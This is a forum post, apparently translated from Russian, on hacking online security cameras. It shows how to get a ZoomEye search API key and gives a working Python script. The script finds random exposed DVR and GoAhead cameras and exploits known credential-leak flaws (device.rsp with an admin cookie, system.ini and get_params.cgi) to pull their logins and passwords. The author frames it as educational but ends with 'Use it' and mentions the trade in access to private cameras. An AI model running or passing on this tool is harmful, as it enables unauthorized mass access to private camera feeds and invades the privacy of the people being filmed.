Security Camera Hacking | Camera Exploits

[luiyam]

Hello, dear forum participants. As the name suggests, we will now focus on interesting vulnerabilities of online video surveillance cameras.




Further: all the material presented below is strictly educational and does not call for real (any) violations of the law.



So, if you've ever been interested in this topic, then you've come to the right place. Back in 2021 (or even earlier), there was a good hype on this topic: a lot of tg channels sold access to 18+ cameras, made distributions of addresses with port 37777 (old ones here?) etc. Perhaps you still caught the times of our beloved Shodan

. Previously, one api key was forced on the Internet, which gave almost unlimited requests, but it was rejected, unfortunately. Well, then I began to look for an analog of the Internet of Things search engine, which, plus or minus, would replace Shodan. I found one that works quite well, by the way. The Chinese brothers present to our attention the IoT OSINT ZoomEye.



At first, I didn't understand anything at all about how to register and get an api token in general. Then I read somewhere on other forums that to register, attention, you need to put instead of English (!) the language is Chinese.
https://www.zoomeye.org/








Do you see an icon in the corner that looks like a square on a stick? This is the character zhong, meaning "Chinese", when you click on which you get to the bamboo forest of the Middle Kingdom, you will be able to register in this search engine.








Next, you will be taken to the registration window. It is not particularly complicated, but requires confirmation of the phone number. Well, at least it's not the WeChat level, where you need to confirm your identity almost through Xi Jinping.







After successful authorization, you will be taken to the "passports" window.








After this point, it is important for you to remember the username and password that you created during registration. To get the api token itself, you need to log in to your profile on the same site:


https://www.zoomeye.org/profile

(API KEY)




Next, take this token and paste it into the program below



Код Python:

import requests, json, random, re;
from zoomeye.sdk import ZoomEye; #pip3 install zoomeye



class Camers: #класс для работы с апи ZoomEye непосредственно

def __init__(self, key):

"""Инициализируем в переменную класса наш ключик"""

self.key = key;

def getVulvCam(self, query):

"""Подвыборка случайной уязвимой камеры"""

zm = ZoomEye(api_key = self.key); #создание экземпляра класса ZoomEye с вашим токеном
data_ = zm.dork_search(query); #запрос для получения список нескольких камер
data = data_[random.randint(0, len(data_)-1)]; #тот самый случайный выбор камеры
portinfo = data["portinfo"]; #начинаем составлять ссылку-адрес камеры
port = portinfo["port"]; #порт
ip = data["ip"]; #айпи
return ip+":"+str(port); #возвращаем ссылку


class HackCamers: #класс для работы с применением эксплойта

def __init__(self, url):

"""Инициализируем в переменную класса нашу ссылку"""

self.url = url;

def exploit_novo(self):

"""Эксплойт для видеорегистраторов DVR"""
try:
cookies = {"uid": "admin"}; #генерируем важную часть эксплойта -- куки админа
response = requests.get(f"http://{self.url}/device.rsp?opt=user&cmd=list", cookies = cookies, verify = False, timeout = 3); #формируем запрос-эксплойт, при выполнении которого нам вернется (с 80%-ой вероятностью) объект, содержащий пароль и логин от камеры
except Exception:
return None; #если же вдруг вышла ошибка, то вернем ничего
if response.status_code == 200: #если запрос выполнился успешно
try:
json_data = json.loads(response.text); #берем json-составляющую запроса
except Exception:
return None #если же что-то пошло не так, то ставим такую заглушку

if 'list' in json_data: #тут распутье: может быть два варианта записи авторизацонных данных
for data in json_data["list"]:
username = data["uid"]; #собираем юзернейм для входа
password = data["pwd"]; #собираем пароль для входа
if "camera" in username.lower() or "camera" in password.lower(): #бывает, что данные не проходят валидацию
return "|Login: "+"admin"+"\n"+"|Password: "; #тут своего рода заглушка, потому что у камеры может не быть пароля вовсе
else:
return "|Login: "+username+"\n"+"|Password: "+password; #возвращаем конечные данные


def exploit_goahead(adress):

"""Эксплойт для видеокамер GoAhead"""

exp_req = re.findall("[^\x00-\x1F\x7F-\xFF]{4,}", requests.get("http://"+adress+"/system.ini?loginuse&loginpas").text); #пробуем получить данные для авторизации в сыром виде
for i in range(len(exp_req)-1): #перебираем все то, что мы нашли в ответе на признак валидных данных
req = requests.get(f"http://{adress}/get_params.cgi?loginuse={exp_req}&loginpas={exp_req[i+1]}").text; #первый пошел!
if req != 'var result="Auth Failed";'+"\r\n": #если пароль и юзер окажется верным (валидным)
info = "|Login: "+exp_req+"\n"+"|Password: "+exp_req[i+1]; #собираем предполагаемые данные
if "<" and ">" in info or "/" in info: #если какая-то чепуха пробралась в возможный логин
pass;
if "camera" in info.lower():
info = "|Login: "+"admin"+"\n"+"|Password: "; #если у камеры снова нет пароля, как у предыдущего варианта
return info;
else:
return info;






class ExampleHack: #класс-пример для работы программы

def __init__(self, key, type_):

"""Инициализируем в переменную класса наш ключик и тип запроса"""

self.key = key;
self.type = type_;


def try_hack(self, url = None):
C = Camers(self.key); #содаем экземпляр класса
if self.type == "random":
att = random.randint(0, 1); #прост выбираем случайный тип камеры
if att == 0:
ip = C.getVulvCam("/login.rsp"); #начинаем искать камеру
zlom = HackCamers.exploit_novo(ip); #нашли, ломаем
try:
msg = "|IP: " + ip + "\n\n" + zlom + "\n" + "|Link: " + "http://" + ip; #собираем более-менее красивый вывод
except:
return ip + "\n\n" + "Пароль не найден!\nПопробуйте еще раз!"; #оп ахах как неловко вышло
else:
ip = C.getVulvCam("realm='GoAhead' +port:81"); #начинаем искать камеру
zlom = HackCamers.exploit_goahead(ip); #нашли, ломаем
try:
msg = "|IP: " + ip + "\n\n" + zlom + "\n" + "|Link: " + "http://" + ip; #собираем более-менее красивый вывод
except:
return ip + "\n\n" + "Пароль не найден!\nПопробуйте еще раз!"; #оп ахах как неловко вышло

else: #ветвь работы с вашей собственной камерой, у которой вы не знаете тип (DVR или GoAhead)
if HackCamers.exploit_novo(url) == None: #для начала берем ее как DVR
if HackCamers.exploit_goahead(url)[0] == None: #а потом как GoAhead
return "Пароли не найдены!"; #камера вообще неизвестно какого типа
else:
hack_c = HackCamers.exploit_goahead(url); #пробуем снова
msg = "\n" + "|IP: " + url + "\n\n" + hack_c + "\n" + "|Link: " + "http://" + url; #что-то прочухивается
else:
msg = "\n" + "|IP: " + url + "\n\n" + HackCamers.exploit_novo (url) + "\n " + " |Link: " + "http://" + url; #well, or not...
if " <" not in msg: #html tags sometimes get there, but these are clearly not passwords
return msg; #we return everything that we could find on the cameras
else:
return "Passwords not found!";

"""Uncomment for testing token = "token"; test_random_cam = ExampleHack(key = token, type_ = "random").try_hack(); test_your_cam = ExampleHack(key = token, type_ = "NOTrandom").try_hack (url = "link to your camera"); #print(test_random_cam); #print(test_your_cam); """






This code (already above) allows you to use exploits for two of the most vulnerable types of cameras: DVR and GoAhead (at this point, the old ones should start shedding crocodile tears). The code is designed in such a way that it is convenient for anyone who will use it to call the camera search functions and hacking attempts separately. It can also be used in conjunction with a tg bot for the best experience.



Important point #1: valid passwords and even valid cameras will not always be found (large timeout). This is the problem of the camera servers themselves, not mine and not the code along with the ZumAy api.



Important point #2: you can also try to choose passwords for your cameras (found from other sources: the same shodan or some other channel in the cart, and so on). The main thing is that it should be one of the types specified in the program. And yes, to do this, the type parameter does not need to pass the word "random", but something else, even an empty string. Then you need to pass the url argument equal to the LINK to your camera to the try_hack function.



P.S. Example of how the program works:









P. P. S. Yes, the program may run slowly, depending on the location of your provider and the power of the PC.



In general, I have everything. Use it.
If you have any questions , please write in the comments)

Click to read more...